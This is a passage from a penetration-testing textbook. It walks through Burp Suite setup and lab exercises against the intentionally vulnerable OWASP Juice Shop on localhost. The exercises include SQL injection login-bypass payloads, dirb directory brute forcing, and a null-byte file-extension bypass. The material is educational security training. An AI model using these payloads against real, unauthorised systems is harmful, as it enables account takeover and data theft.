requests between a client and server. Connection states are essential for authentication and session 
management between a user and a web server. Therefore, if a user were to log in to a web application 
with their credentials, each HTTP request sent to the server onward would need to provide some type 
of authentication token within each message.

http://www.packtpub.com
http://www.packtpub.com
https://www.packtpub.com/authors/glen-d-singh
https://www.packtpub.com/authors/glen-d-singh
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To get a better understanding of an HTTP request message, let’s observe the following HTTP request 
header:

Figure 16.2: HTTP GET message

As shown in the preceding snippet, the following is a breakdown of each line:

• The first line contains the HTTP method (GET), the path (/) used to inform the server which 
resource the client is requesting, and the HTTP version (1.1) to inform the server about the 
version the client is using to communicate.

• Host: This specifies the destination hostname/IP address of the destination web server and 
sometimes includes a service port number such as port 80 or 443.

• User-Agent: This identifies the sender’s web browser and operating system information.
• Accept: This informs the web application about the type of formatting the sender will accept 

as the response from the server.
• Accept-Language: This informs the web application about the language the sender will accept 

for the response message.
• Accept-Encoding: This informs the web application about the type of encoding the sender 

will accept.
• Connection: This identifies the connection type.

By default, the web browser will automatically create the HTTP message and insert the appropriate 
HTTP request method to communicate with the web application. However, as a penetration tester, you 
can manipulate the HTTP method before sending the HTTP request to the web application.

The following is a list of HTTP request methods, commonly referred to as HTTP verbs, and their 
descriptions:

• GET: This allows the client to request a resource or data from the web application/server.
• POST: This allows the client to update the data or a resource on the web application/server.
• OPTIONS: This allows the client to view all supported HTTP methods on the web application.
• HEAD: This allows the client to retrieve a response from the web application without a message 

body.
• TRACE: This allows the client to send an echo request for checking issues.
• PUT: This allows the client to also update a resource or data on the web application/server.
• PATCH: This method is commonly used to apply partial modification to a resource on a web 

application or server.
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• DELETE: This allows the client to remove/delete a resource on the web application/server.

For each HTTP request, the web application usually provides an HTTP response to the client. To get a 
better understanding of the format of an HTTP response header, let’s look at the following screenshot:

Figure 16.3: HTTP response message

The HTTP response usually contains a lot of information that helps penetration testers determine 
whether the web application is secure or not. The following is a breakdown of the information found 
within the preceding screenshot:

• The first line contains the protocol (HTTP) and its version (1.1), the HTTP status code (200), 
and the status message (OK).

• Content-Type: This informs the client of how to interpret the body of the HTTP response 
message.

• Content-Length: This specifies the length of the message in bytes.
• Date: This contains the date and time of the response from the server.

The following is a list of HTTP status codes and their descriptions:

• HTTP status code 100:

• Code 100 – Continue
• Code 101 – Switching protocol
• Code 102 – Processing
• Code 103 – Early hints

• HTTP status code 200:

• Code 200 – OK
• Code 201 – Created
• Code 204 – No content
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• HTTP status code 300:

• Code 301 – Moved permanently
• Code 302 – Found
• Code 304 – Not modified
• Code 307 – Temporary redirect
• Code 308 – Permanent redirect

• HTTP status code 400:

• Code 400 – Bad request
• Code 401 – Unauthorized
• Code 403 – Forbidden
• Code 404 – Not found
• Code 409 – Conflict

• HTTP status code 500:

• Code 500 – Internal server conflict
• Code 501 – Not implemented
• Code 502 – Bad gateway
• Code 503 – Service unavailable
• Code 504 – Gateway timeout
• Code 599 – Network timeout

When performing web application penetration testing, the HTTP status codes found within the HTTP 
responses from a web application help us determine how the web application behaves when custom-
ized HTTP requests are sent to the web application.

Having completed this section, you have learned the fundamentals of web applications and HTTP 
request and response models. Next, you will explore the various security risks that exist within web 
applications.

Exploring the OWASP Top 10: 2021
OWASP is a community-led and driven non-profit foundation that helps everyone understand how 
to better secure their web application during the development and post-development phases. Web 
application developers will learn about their secure coding practices and how to fuzz their application 
to ensure it can handle any type of input without crashing and leaking sensitive information. Fuzzing 
is the process of sending malformed data into a web application during the development phase to 
determine how the web application handles the input, whether the application crashes or even leaks 
sensitive information. The results from fuzzing help application developers identify vulnerabilities 
and improve their coding to ensure their application is built using secure coding practices. Many types 
of web applications have been found to be vulnerable and exploited by threat actors.
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Hence, the OWASP provides a lot of resources, such as documentation, tools, and strategies, which are 
widely adopted by developers to ensure their applications are secure and resilient against potential 
cyberattacks and threats. However, since many organizations often use a lot of web applications that 
connect to their database servers and their network, penetration testers are often hired to discover 
any hidden security vulnerabilities that may have been missed by the developers during their testing 
phase. The resources provided by OWASP also help penetration testers to discover and exploit web 
applications, which overall helps organizations to determine the risk of each vulnerability and how 
to implement countermeasures with mitigation techniques to reduce the risk of a threat.

Over the years, OWASP has published a list of the top security vulnerabilities that exist within web 
applications from community research. This list has come to be known as the OWASP Top 10, which 
contains the details of the most severe and critical security risks within web applications. As men-
tioned, over time, this list is modified to highlight the most critical security risks, and as of 2021, the 
following is the OWASP Top 10: 2021 security risks in web applications:

1. A01:2021 – Broken access control
2. A02:2021 – Cryptographic failures
3. A03:2021 – Injection
4. A04:2021 – Insecure design
5. A05:2021 – Security misconfiguration
6. A06:2021 – Vulnerable and outdated components
7. A07:2021 – Identification and authentication failures
8. A08:2021 – Software and data integrity failures
9. A09:2021 – Security logging and monitoring failures
10. A10:2021 – Server-side request forgery

As an aspiring penetration tester, it’s important to understand the fundamentals of each security risk 
found within the OWASP Top 10: 2021 list.

During the course of this chapter and the next, you will discover the characteristics of each security 
risk and their impact if a threat actor were to exploit the security vulnerability. Next, you will learn the 
fundamentals of using Burp Suite, a well-known web application security testing tool that is commonly 
used by security professionals and developers.

Getting started with FoxyProxy and Burp Suite
Burp Suite is a very popular web application security vulnerability and exploitation tool that is com-
monly used among web application security professionals and penetration testers within the industry. 

Please visit the following URL for the full documentation of the OWASP Top 10: 2021 list 
of security risks in web applications: https://owasp.org/www-project-top-ten/ and 
https://owasp.org/Top10/.

https://owasp.org/www-project-top-ten/ 
https://owasp.org/Top10/
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Burp Suite is a proxy-based tool that enables a penetration tester to intercept the communication mes-
sages between the attacker’s web browser and the targeted web application, allowing the penetration 
tester to modify the request messages from the client side. Put simply, the penetration tester will use 
Burp Suite as an intercepting proxy, which will capture any request messages originating from the web 
browser on their machine, allowing the penetration tester to modify the field in the request message 
and then forward it to the targeted web application server.

The following diagram shows a visual representation of Burp Suite as an intercepting proxy:

Figure 16.4: Burp Suite proxy placement

As shown in the preceding screenshot, Burp Suite is running on the penetration tester’s machine as 
the intercepting proxy, capturing any web-based messages between the web browser and the targeted 
web application. Before we dive into getting the hands-on skills to test our web application for security 
risks, we need to ensure a few prerequisites are in place such as setting FoxyProxy and configuring 
Burp Suite to intercept request and response messages, which we will cover in the upcoming sections.

In the following sub-sections, you will learn how to set up FoxyProxy, which provides convenience 
when switching the proxy settings within our preferred web browser, and about the fundamentals 
of using Burp Suite.

Part 1 - setting up FoxyProxy
FoxyProxy is a web browser add-on that allows you to configure multiple profiles of various web proxy 
configurations, allowing you to quickly switch between proxies without manual configurations within 
the web browser settings.

The Burp Suite Professional edition has a lot of features that are usually needed by profes-
sionals, such as active crawling and improving performance on online password cracking. 
However, Burp Suite Community Edition is preinstalled within Kali Linux and has the 
essential features needed to learn the fundamentals of web application security through-
out this book.

As an aspiring penetration tester, you will eventually need to acquire Burp Suite Profes-
sional when performing real-world web application security testing by using the following 
URL: https://portswigger.net/burp.

https://portswigger.net/burp
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To use Burp Suite, you will need to configure the Burp Suite proxy settings on your browser. For this 
exercise, you will learn how to use FoxyProxy to achieve this task.

To get started with setting up FoxyProxy, please follow these instructions:

1. Power on the Kali Linux virtual machine and ensure it has an internet connection.
2. Next, on Kali Linux, open Mozilla Firefox, go to https://addons.mozilla.org/en-US/firefox/

addon/foxyproxy-standard/, and click on Add to Firefox:

Figure 16.5: FoxyProxy download page

3. Next, Firefox will display a pop-up window providing the security permissions to allow the 
add-on on the browser. Simply click on Add to continue with the installation:

Figure 16.6: Adding an extension

https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/


Understanding Website Application Security648

4. To add the FoxyProxy icon to the Firefox toolbar, click on the Extensions icon, then click on 
the Gear icon on FoxyProxy, and select Pin to Toolbar, as shown here:

Figure 16.7: Pinning to the toolbar

5. Once FoxyProxy is installed on Firefox, click on the FoxyProxy icon in the upper-right corner 
of the web browser and then on Options, as shown here:

Figure 16.8: The Options button

6. Next, the FoxyProxy menu will appear, and you must click on Add and insert the following 
configurations:

• Title: Burp Suite Proxy
• Type: HTTP
• Proxy IP address: 127.0.0.1
• Port: 8080
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7. The following snippet shows how the configurations should be applied to each field:

Figure 16.9: Setting the Burp Suite proxy address

Once you’ve entered all the values correctly into their corresponding fields, click on Save to 
store your new proxy configurations on FoxyProxy.

8. Next, to switch between the default proxy and the newly configured proxy settings on Firefox, 
click on the FoxyProxy icon and select Burp Suite Proxy, as shown here:

Figure 16.10: The FoxyProxy interface

Keep in mind that whenever you’re not using the Burp Suite application, you should turn off 
the proxy settings within your web browser via FoxyProxy.
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Part 2 - setting up Burp Suite
Let’s get started with setting up Burp Suite to intercept the traffic between the web browser on our at-
tacker machine and the vulnerable web application, which will ensure that you are able to successfully 
capture the request-response messages between your web browser and the targeted web application:

1. On Kali Linux, open the Burp Suite application by clicking on the Kali Linux icon in the top-left 
corner, which will expand the Application menu fields, and then select 03 – Web Application 
Analysis and burpsuite, as shown in the following screenshot:

Figure 16.11: Kali Linux menu

2. Once Burp Suite initializes, the terms and conditions will appear; simply accept and continue.
3. Next, select Temporary project and click Next.
4. Another window will appear; select Use Burp default and click Start Burp.
5. On the Burp Suite main user interface, click on the Proxy | Proxy settings tab to open the 

Manage global settings window, and ensure the And operator is enabled for the Request 
interception rules option, as shown in the following screenshot:

Figure 16.12: Request interception rules
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Ensure the And operator is also enabled for the Response interception rules options, as shown 
in the following screenshot:

Figure 16.13: Response interception rules

These options will ensure Burp Suite intercepts the bi-directional communication between 
the web browser and the web application.

6. Next, close the Manage global settings window.
7. Next, to turn on the Burp Suite proxy to intercept traffic, click on the Proxy | Intercept tab and 

click on the Intercept button until you see Intercept is on, as shown in the following screenshot:

Figure 16.14: Intercept

Any web request from the Firefox web browser will be intercepted and the messages will appear 
under the Intercept tab in Burp Suite. Burp Suite will not automatically forward the request to 
the web application; you will be required to click on Forward to send each request to the web 
application. However, once the request is captured, you will be able to see the contents of the 
request and will be able to modify the request.

8. Next, on Kali Linux, open the Terminal and start the OWASP Juice Shop Docker instance by 
using the following commands:

kali@kali:~$ sudo docker run --rm -p 3000:3000 bkimminich/juice-shop
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While the Docker instance is running, do not close the terminal.

9. Next, open Firefox and ensure the Burp Suite proxy is enabled via FoxyProxy, then go to http://
localhost:3000/ to load the OWASP Juice Shop web application within your web browser.

10. The request from your web browser will be intercepted by the Burp Suite proxy. In Burp Suite, 
forward the web requests on the Intercept tab to load the home page of the OWASP Juice Shop 
web application.

Part 3 - getting familiar with Burp Suite
Let’s get started with getting familiar with the user interface, features, and capabilities of Burp Suite:

1. In Burp Suite, click on the Target | Site map tabs; you will notice Burp Suite is passively crawling 
all the web pages you are accessing with your web browser and recording all the web request 
messages.

2. To filter only your target within the site map results, right-click on http://localhost:3000 
and select Add to scope, as shown in the following screenshot:

Figure 16.15: Add to scope
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3. Next, the Proxy history logging window will appear. Here, click on NO to proceed, as shown 
here:

Figure 16.16: Logging history option

4. Next, click on the Filter taskbar and select Show only in-scope items, as shown in the follow-
ing screenshot:

Figure 16.17: Accessing the Filter settings

On the Site map tab, you will now notice Burp Suite will only display your target as it’s defined 
within the scope. This feature helps ethical hackers and penetration testers to focus on only 
their targets while removing any unnecessary web results on the Site map tab.
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5. Next, you can disable the Intercept feature on Burp Suite and browse around the OWASP Juice 
Shop web application to perform passive crawling on the web application.

You can see that, on the Site map tab, Burp Suite is automatically showing directories and files 
within the web application:

Figure 16.18: Passive web crawling

As shown in the preceding screenshot, Burp Suite is auto-populating all the directories that 
it’s able to discover while you are browsing the web application. If you turn off (disable) the 
Intercept feature on Burp Suite, you can still browse the web application while it performs 
passive crawling. However, if the Intercept feature is off, you will not be able to capture and 
modify any web request.
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6. Next, enable the Intercept feature on Burp Suite and refresh the OWASP Juice Shop main page 
on your web browser. This will allow Burp Suite to capture the web request from your web 
browser before it goes to the web application:

Figure 16.19: Intercepting a HTTP GET message

As shown in the preceding screenshot, an HTTP GET request message was captured by Burp 
Suite. It clearly shows all the parameters set by the web browser on your Kali Linux, such as 
the type of message, HTTP verb (GET), the sender (host), the user agent (the web browser and 
operating system type), the format the sender will accept, the language, and encoding.
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7. Next, we can modify this message before sending it off to the web application; simply right-
click anywhere within the HTTP GET message and choose Send to Repeater, as shown in the 
following screenshot:

Figure 16.20: Send to Repeater

8. Next, click on the Repeater tab in Burp Suite, click on Send to forward the request to the web 
application, and obverse the Response message:

Repeater is a feature within Burp Suite that allows penetration testers to modify 
a web request message before sending it to the destination web application. This 
allows penetration testers to insert custom parameters within the request mes-
sages, and then send them to the web application and observe the response. The 
responses help penetration testers determine whether a security vulnerability 
exists within the web application.
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Figure 16.21: The Repeater module

As shown in the preceding screenshot, when you send a web request to the web application 
using Repeater, you will be able to intercept the web application and even customize the pa-
rameters within the request message.

9. Next, select the Proxy | Intercept tab on Burp Suite, and forward all the pending HTTP messages.
10. Finally, OWASP Juice Shop is a vulnerable web application that contains a lot of fun challenges 

and exercises to help people develop their skills in web application security. To assist with un-
derstanding the various challenges and levels of difficulties for each challenge, OWASP Juice 
Shop has a Score Board that helps you keep track of your progress.

One of the first challenges is to discover the Score Board by going to the following URL: http://
localhost:3000/#/score-board.
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Ensure you forward the HTTP request messages in the Burp Suite proxy. The following screen-
shot shows the Score Board, which allows you to filter your challenges based on your progres-
sion, difficulty levels, and even the type of web application security risks:

Figure 16.22: Score Board

I would recommend that you start using the Score Board while learning web application se-
curity risks on the OWASP Juice Shop platform and try to discover the security vulnerabilities 
and methods for exploiting each flaw to complete the challenges.

Having completed this section, you have learned the essentials of setting up FoxyProxy as your proxy 
switcher for your web browser and have learned the basics of getting started with Burp Suite. Next, 
you will learn about the security risks involved with injection attacks on web applications.

Understanding injection-based attacks
Injection-based attacks allow threat actors and penetration testers to inject customized code into an 
input field within a form on a web application. The web application will process the input and provide 
a response, as it is designed to operate in a client-server model and a request-response model too. 
However, if a user submits malformed code to a login form on a web application, the user may be able 
to retrieve sensitive information from the web application and the database server, and even perform 
operations on the host operating system that’s running the vulnerable web application.

Without proper validation and sanitization of users’ input, threat actors are able to determine whether 
a web application has security vulnerabilities, manipulate the data stored within the backend database 
server, and even perform command-injection attacks on the host operating system.

Using the OWASP Top 10: 2021 documentation at https://owasp.org/Top10/ 
and the OWASP Juice Shop challenge guide at https://pwning.owasp-juice.
shop/ will help you improve your web application security skills. Please be sure 
to check out both resources.

https://owasp.org/Top10/
https://pwning.owasp-juice.shop/
https://pwning.owasp-juice.shop/
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Let’s consider a targeted web application that is accepting user input on a login page to authenticate 
users on the system. The web application will construct an SQL query using the user’s input to check 
whether the username and password provided by the user exist on the SQL backend database. The 
following is a piece of pseudocode Python code to represent the logic in this scenario:

username = get_user_input("Enter your username: ")
password = get_user_input("Enter your password: ")

# Construct SQL query
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" 
+ password + "'"

# Execute SQL query and check if user exists
result = execute_query(query)
if result:
    login()
else:
    display_error("Invalid username or password")

If the threat actor wants to bypass the authentication mechanism by altering the SQL query by sending 
malformed input into the login page of the web application, the threat actor can enter the following 
logic statement as the username with a random password:

' OR '1'='1

The SQL query that will be crafted by the web application will be the following:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='<password>'

In this scenario, the threat actor input '1'='1' is used to bypass the password-checking mechanism 
because '1'='1' always evaluates to be true. As a result, the threat actor will be able to retrieve the 
first record from the SQL database, that is, the administrator’s account.

The following diagram shows a visual representation of a web server deployment:
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As shown in the preceding screenshot, the web application and the database are implemented on two 
separate servers to improve security and performance. SQL injection (SQLi) is a type of injection-based 
attack that allows the threat actor to inject customized SQL statements (code) within an input form on 
a web application. If the web application does not validate or sanitize the input, the code will be sent 
to the SQL server on the backend for processing. If the web application is vulnerable to SQLi flaws, 
security misconfigurations, or even inadequate access controls, the threat actor will be able to create, 
modify, retrieve, and even delete records stored on the database.

Command injection is another type of injection-based attack that allows a threat actor to inject cus-
tomized code into an input form on a web application. A vulnerable web application will pass the user 
input to the host operating system, which then executes the code. This will allow the threat actor to 
execute commands on the host operating system of the web server.

Up next, you will learn how to use Kali Linux to test a web application for SQLi vulnerability and exploit 
it to gain administrative access to the web application.

Performing an SQLi attack
In this exercise, you will learn to use SQLi to gain access to the administrator account on a vulnerable 
web application such as OWASP Juice Shop while using Burp Suite on Kali Linux.

To get started with this exercise, please follow these instructions:

1. Power on the Kali Linux, open the Terminal, and start the OWASP Juice Shop Docker instance.

Command injection vulnerabilities typically arise when an application insecurely passes 
user input to system-level commands without proper validation or sanitation.
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2. Using Firefox on Kali Linux, go to the OWASP Juice Shop Score Board and use the filter to dis-
play only Injection attacks. Select all the star icons and Injection as shown in the following 
screenshot:

Figure 16.24: Filtering injection exercises

As shown in the preceding screenshot, all injection-based challenges are displayed on the 
Score Board panel. Here, you can also find the Login Admin challenge, which tests your skills 
in being able to discover and exploit a security vulnerability within a web application to gain 
access to the administrator’s user account.
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3. Next, ensure FoxyProxy is set to use the Burp Suite proxy configurations, and then start the 
Burp Suite application and ensure Intercept is turned on to capture web request messages.

4. Next, using Firefox, go on the OWASP Juice Shop web application, and then click on Account 
| Login to access the login portal for the web application.

5. On the Login page, enter any email ID and password, then hit Enter to simulate the logon process.
6. On Burp Suite, click on the Intercept tab to view the HTTP POST message from the web browser, 

and then right-click on the message and choose Send to Repeater:

Figure 16.25: Sending to Repeater
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7. Next, click on the Repeater tab and click on Send to forward the message to the web application:

Figure 16.26: Repeater module

As shown in the preceding screenshot, the left column contains the HTTP POST message, 
which includes the random email address and password. The right column contains the HTTP 
response from the web application, indicating that the login failed with an HTTP/1.1 401 
Unauthorized status and a message indicating the email or password is invalid.
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8. Next, in the Request field, place a single quotation mark (') at the end of the email address, 
which will be fake@email.local', and click on Send to forward a new request to the web 
application:

Figure 16.27: HTTP request message

Inserting a single quotation mark (') at the end of the email address, as shown in the preceding 
screenshot, tests whether the web application is vulnerable to an SQLi attack.

When we click on Send using Repeater, the following SQL statement will be sent from the web 
application to the SQL database:

SELECT * From TableName WHERE email = 'fake@email.local";

The code simply reads that the user injects the email as fake@email.local' into the login 
form of the web application, which tells the web applications to select everything from the 
table known as Table_Name where the email is fake@email.local.

The single quotation marks (') at the beginning and end of the email address will close the 
statement. This means the additional single quotation mark (') that follows will indicate the 
start of a new statement and will create an error because it does not have a closing quotation 
mark to end the new statement.
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9. Next, take a look at the Response field within Repeater. It’s different from the previous re-
sponse of the web application; now, we have an SQLITE_ERROR message, together with the 
SQL statement used to query the database:

Figure 16.28: SQL statement

As shown in the preceding screenshot, the following SQLite error was returned from the web 
application:

"message": "SQLITE_ERROR: unrecognized token: 
\"482c811da5d5b4bc6d497ffa98491e38\"",

Additionally, the following is the SQL statement used by the web application to perform the 
request:

"sql": "SELECT * FROM Users WHERE email = 'fake@email.local'' AND 
password = '482c811da5d5b4bc6d497ffa98491e38' AND deletedAt IS NULL"
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The preceding SQL statement indicates the name of the SQL table as Users and the password 
value is hashed.

10. Next, we can create an SQL statement that says to check for the email address of fake@email.
local, and, if the email address does not exist within the SQL database, set the statement as 
true to ignore everything that follows.

Therefore, the web application will not check for the password and should allow us to log in 
as the first user within the SQL database, which is the administrator’s account.

If we inject fake@email.local' OR 1=1; -- within the Email field of the Login page, the SQL 
statement will be the following:

SELECT * From Users WHERE email = fake@email.local' OR 1=1; --';

The statement reads as follows: select everything from the table (Users) where the email is 
fake@email.local, and if this does not exist (OR), make the statement true (1=1) and end the 
statement using a semicolon (;), and then insert a comment (--) to ignore everything that 
follows. Since a single quotation mark (') is inserted after the comment, this ensures that 
password checking for the user account is ignored.

The following screenshot shows the code for SQLi on the Login page:

Figure 16.29: Performing SQLi



Chapter 16 667

11. Next, Burp Suite will intercept the HTTP POST message; right-click on it and send it to Repeater:

Figure 16.30: Sending to Repeater

12. Next, click on the Repeater tab, select the new Request tab, click on Send, and observe the 
response:

Figure 16.31: Repeater module
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As shown in the preceding screenshot, there’s an authentication token in the Response field. 
This authentication token will enable us to log in to the administration account without needing 
to use a valid username and password.

13. Next, ensure you forward any additional Request message using the Intercept tab on Burp 
Suite, and you will gain access to the admin account on OWASP Juice Shop:

Figure 16.32: Gaining access to the admin page

As shown in the preceding screenshot, we are able to successfully gain access to the adminis-
trator’s user account on the vulnerable web application.

Having completed this section, you have learned about the fundamentals of the security risks involved 
in using web applications that are vulnerable to injection-based attacks. In the next section, you will 
explore the security risks when using broken access controls.

To learn more about injection, please see the official OWASP documentation at the follow-
ing URL: https://owasp.org/Top10/A03_2021-Injection/.

https://owasp.org/Top10/A03_2021-Injection/


Chapter 16 669

Exploring broken access control attacks
Broken access controls permit both authenticated and unauthenticated users to perform actions on 
a web application or systems that are not permitted. Implementing access controls on a system and 
even web applications helps administrators restrict access to sensitive and confidential directories 
and data from unauthorized users.

However, while many organizations will implement a pre-built web application framework on their 
web server, many pre-built and ready-to-use web application frameworks contain default security 
configurations, and if implemented without using best practices, threat actors can simply gain unau-
thorized access by exploiting the broken access control mechanisms.

In this section, you will gain hands-on experience in discovering and exploiting the security vulnera-
bilities of broken access control on a vulnerable web application such as OWASP Juice Shop.

To get started with this exercise, please follow these instructions:

1. Ensure that Kali Linux is powered on and the OWASP Juice Shop Docker instance is running.
2. Using Firefox on Kali Linux, go to the OWASP Juice Shop Score Board and use the filter to 

display only Broken Access Control attacks to view all the challenges:

Figure 16.33: Filtering the Broken Access Control challenges



Understanding Website Application Security670

We will be looking at completing the Admin Section challenge to demonstrate the security 
risks and how they can be exploited.

3. Now, ensure you’re logged in as the administrator user.
4. Next, ensure the Burp Suite proxy is intercepting traffic.
5. On OWASP Juice Shop, go to the home page to allow Burp Suite to capture a new HTTP GET 

message via the Intercept feature. Once the HTTP GET message is captured, right-click and 
select Send to Repeater, as shown in the following screenshot:

Figure 16.34: Captured HTTP request message

The interface has been updated a bit but these instructions are still valid.
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6. As shown in the preceding screenshot, the token information is captured within the web request 
since the administrator user is already authenticated. Ensure you forward all the additional 
request messages.

7. On Repeater, modify the first line to retrieve the /administration/ directory or page from 
the web application by using the following HTTP GET statement, before sending it to the web 
application:

GET /administration/ HTTP/1.1

The following screenshot shows the first line containing the HTTP GET statement for the ad-
ministration directory:

Figure 16.35: Observing the HTTP Get message

8. Once the modified Request message is sent to the web application via Repeater, look at Re-
sponse:

Figure 16.36: The HTTP Response message
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As shown in the preceding screenshot, the 200 HTTP status code indicates that Repeater is 
able to successfully retrieve the resource located at /administration/ on the web application.

9. Next, turn off the Intercept feature on Burp Suite.
10. Finally, on the web browser, change the URL to http://localhost:3000/#/administration/ 

and hit Enter to access the hidden location on the web application and complete the challenge:

Figure 16.37: Challenge complete

Since you have gained access to a restricted administrative section within the vulnerable 
web application, we can even delete the Customer Feedback, such as the five-star reviews, to 
complete another challenge.

Ensure you attempt to complete the additional challenges to improve your skills in discovering and 
exploiting web applications.

Having completed this section, you have learned about the fundamentals of the security risks involved 
when using web applications that are vulnerable to broken access control methods. In the next section, 
you will learn about cryptographic failures in web applications.

Discovering cryptographic failures
Cryptographic failures on a web application simply define the security vulnerabilities found within a 
web application that allow a threat actor to gain access to confidential data, such as users’ credentials, 
that are either stored on a server or transmitted over a network. 

To learn more about broken access control, please see the official OWASP documentation 
at the following URL: https://owasp.org/Top10/A01_2021-Broken_Access_Control/.

https://owasp.org/Top10/A01_2021-Broken_Access_Control/
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When deploying web applications, it’s always important to ensure best practices on using recommended 
cryptographic solutions, such as secure encryption algorithms, to ensure data in motion, data at rest, 
and data in use are always kept safe from unauthorized users, such as threat actors.

If a developer implements a weak or insecure encryption algorithm within a web application, threat 
actors can simply discover the type of encryption algorithm being used and its security vulnerabili-
ties. Once a vulnerability is found, it’s only a matter of time until that vulnerability is exploited by a 
threat actor. As a penetration tester, understanding how to test for cryptographic failures on a web 
application is essential to improving your skills and techniques.

In this section, you will learn how to exploit cryptographic failures on a vulnerable web application 
such as OWASP Juice Shop. To get started with this exercise, please follow these instructions:

1. Ensure Kali Linux is powered on and the OWASP Juice Shop Docker instance is running.
2. Ensure the Intercept feature is turned off on Burp Suite and FoxyProxy is disabled.
3. Using Firefox on Kali Linux, go to the OWASP Juice Shop Score Board and use the filter to 

display only Cryptographic issues attacks to view all the challenges. We will be looking at 
completing the Nested Easter Egg challenge to demonstrate the security risks and how they 
can be exploited.

4. On Kali Linux, open the Terminal and use dirb to perform active crawling for any hidden 
directory on the target web application:

kali@kali:~$ dirb http://localhost:3000 /usr/share/wordlists/dirb/big.txt 
-r -N 403

The preceding command instructs dirb to seek any directory within the target web application 
by using a wordlist that contains well-known directories, does not perform recursive lookups 
(-r), and ignores any responses (-N) with a 403 (Forbidden) HTTP status code.

The following screenshot shows a few directories that were found when using dirb against 
the web application:

Figure 16.38: Active scanning
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As shown in the preceding screenshot, these directories were not previously discovered while 
performing passive crawling with Burp Suite Community Edition. Passive crawling tracks 
the web pages that are visited by you and will not automatically discover hidden web pages, 
hence the need to perform active scanning. As shown in the screenshot, there’s a File Transfer 
Protocol (FTP) directory that may contain confidential files.

5. Next, using Firefox on Kali Linux, go to the http://localhost:3000/ftp directory to view 
the contents:

Figure 16.39: Hidden directory

As shown in the preceding screenshot, there are a lot of files. Some of the files contain in-
teresting names, such as acquisitions.md, encrypt.pyc, eastere.gg, and legal.md. Web 
application developers should ensure sensitive and confidential documents and files cannot 
be accessed by unauthorized users, by using secure file storage, access control lists (ACLs), 
secure file uploads, audit logging, and regular security assessments.

Burp Suite Professional has an active spider/crawling feature that helps penetra-
tion testers quickly discover hidden directories on a web application. Additionally, 
there are alternative tools, such as Dirb, DirBuster, OpenDoor, and OWASP Zed 
Attack Proxy, to name a few.
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6. Next, click on the acquistions.md file to download it, and open it using a text editor or with 
the cat command on a Terminal, as shown here:

Figure 16.40: Viewing file contents

As shown in the preceding screenshot, you have accessed a confidential document found 
within a hidden directory on the vulnerable web application.

7. Next, on the http://localhost:3000/ftp directory, there’s an encrypted Easter egg file 
(eastere.gg):

Figure 16.41: Hidden directory
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8. If you try to download and open the eastere.gg file, it will not reveal its data. However, using 
some HTTP techniques, we can convert the file to a .md format, which allows us to open it with 
a text editor. Use the following HTTP code on your web browser to convert and download the 
file: http://localhost:3000/ftp/eastere.gg%2500.md.

Once the file is converted, open it with a text editor or the cat command to view the contents:

Figure 16.42: Viewing file contents

9. As shown within the decrypted file, there’s a flag containing a very long cryptographic hash. 
At the end of the hash value, there are double equal signs (==), which indicate that the hash 
type is Base64. Additionally, you can use hash identifier tools to help identify a cryptographic 
hash type.

Next, head on over to Burp Suite | Decoder. Place the hash in the upper field and set the De-
code as value to Base64:

Figure 16.43: Decoding the hash
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As shown in the preceding screenshot, the Burp Suite Decoder feature is able to decode the 
cryptographic hash to something that looks like a path to a web address, but the placement of 
the characters seems out of order.

This is another type of cryptographic cipher that uses the character offsets as the encryption 
key; in other words, it shifts the placement of a letter in the alphabet further down to another 
placement.

10. Next, use the following commands to download and install hURL, a tool used to encode and 
decode various types of character offset encryption ciphers:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install hurl -y
kali@kali:~$ hURL --help

11. Next, use hURL to perform a ROT13 decode operation on the cipher:

kali@kali:~$ hURL -8 "/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/
jvguva/gur/rnfgre/rtt"

As shown in the following screenshot, the plaintext message is successfully decrypted:

Figure 16.44: Finding a hidden message

12. Finally, insert the ROT13 decoded message at the end of the URL of OWASP Juice Shop in the 
web browser: http://localhost:3000/the/devs/are/so/funny/they/hid/an/easter/egg/
within/the/easter/egg
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As shown in the following screenshot, the challenge is completed, and you have gained access 
to a hidden location:

Figure 16.45: Hidden URL

Ensure you visit the Score Board on OWASP Juice Shop to check your progression of each 
challenge within the web application.

Having completed this section, you have learned about the security risks involved in cryptographic 
failures on a vulnerable application and how they can be exploited. In the next section, you will learn 
about insecure design.

To learn more about cryptographic failures, please see the official OWASP documentation at 
the following URL: https://owasp.org/Top10/A02_2021-Cryptographic_Failures/.

https://owasp.org/Top10/A02_2021-Cryptographic_Failures/
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Understanding insecure design
Insecure design focuses on understanding how security risks increase when a web application is not 
developed, tested, and implemented properly on a system. When designing a web application, the 
organization usually ensures the code passes through each phase of a secure development life cycle 
(SDLC), which helps developers thoroughly test the application to ensure there are as few security 
risks as possible.

This technique ensures the web application is designed using secure coding practices and design, 
secure library components of programming languages, and even threat modeling to help understand 
how threat actors may be able to component the web application. Without secure designs, the secu-
rity posture of the web application is left very vulnerable to various types of web application attacks. 
Overall, it is important that developers and organizations implement proper development, security 
testing, and maintenance on their web applications and servers.

In the next section, you will learn how security misconfigurations increase the risk of a cyberattack 
on web applications.

Exploring security misconfiguration
Sometimes, web applications are deployed without using security best practices or ensuring either 
the web application or the web server is hardened to prevent a cyberattack. Without proper security 
configurations and practices, threat actors are able to enumerate and exploit vulnerable services 
running on the web server. A simple example of security misconfiguration is administrators leaving 
unnecessary running services and open service ports on a web server; typically, a web server should 
not have any open service ports except those that are required, such as port 443 for HTTPS and 22 
for Secure Shell (SSH). Threat actors will perform port scanning on their targets to identify any open 
ports and running services, which will allow them to remotely test for security vulnerabilities on the 
web server and exploit the system.

Most commonly, you will discover that a lot of devices, such as web servers, are using default accounts, 
which is a huge security risk. If a threat actor is able to profile a web server and guess the default user 
account credentials, they can gain access to the system and take over the account. Weak passwords are 
commonly used by administrators to remotely access their web application server on the internet; threat 
actors can perform brute force or social engineering to retrieve the administrator’s user credentials.

If the web application is not properly configured and coded to prevent sensitive information from 
leaking whenever an error occurs, threat actors can abuse this security flaw. Imagine you’ve modified 
the URL within the address bar of your web browser to attempt to gain access to an unknown directory 
on the web application. If the web application throws an error, it may reveal sensitive information 
about the web application, its framework, and the operating system of the host server.

To learn more about insecure design, please see the official OWASP documentation at the 
following URL: https://owasp.org/Top10/A04_2021-Insecure_Design/.

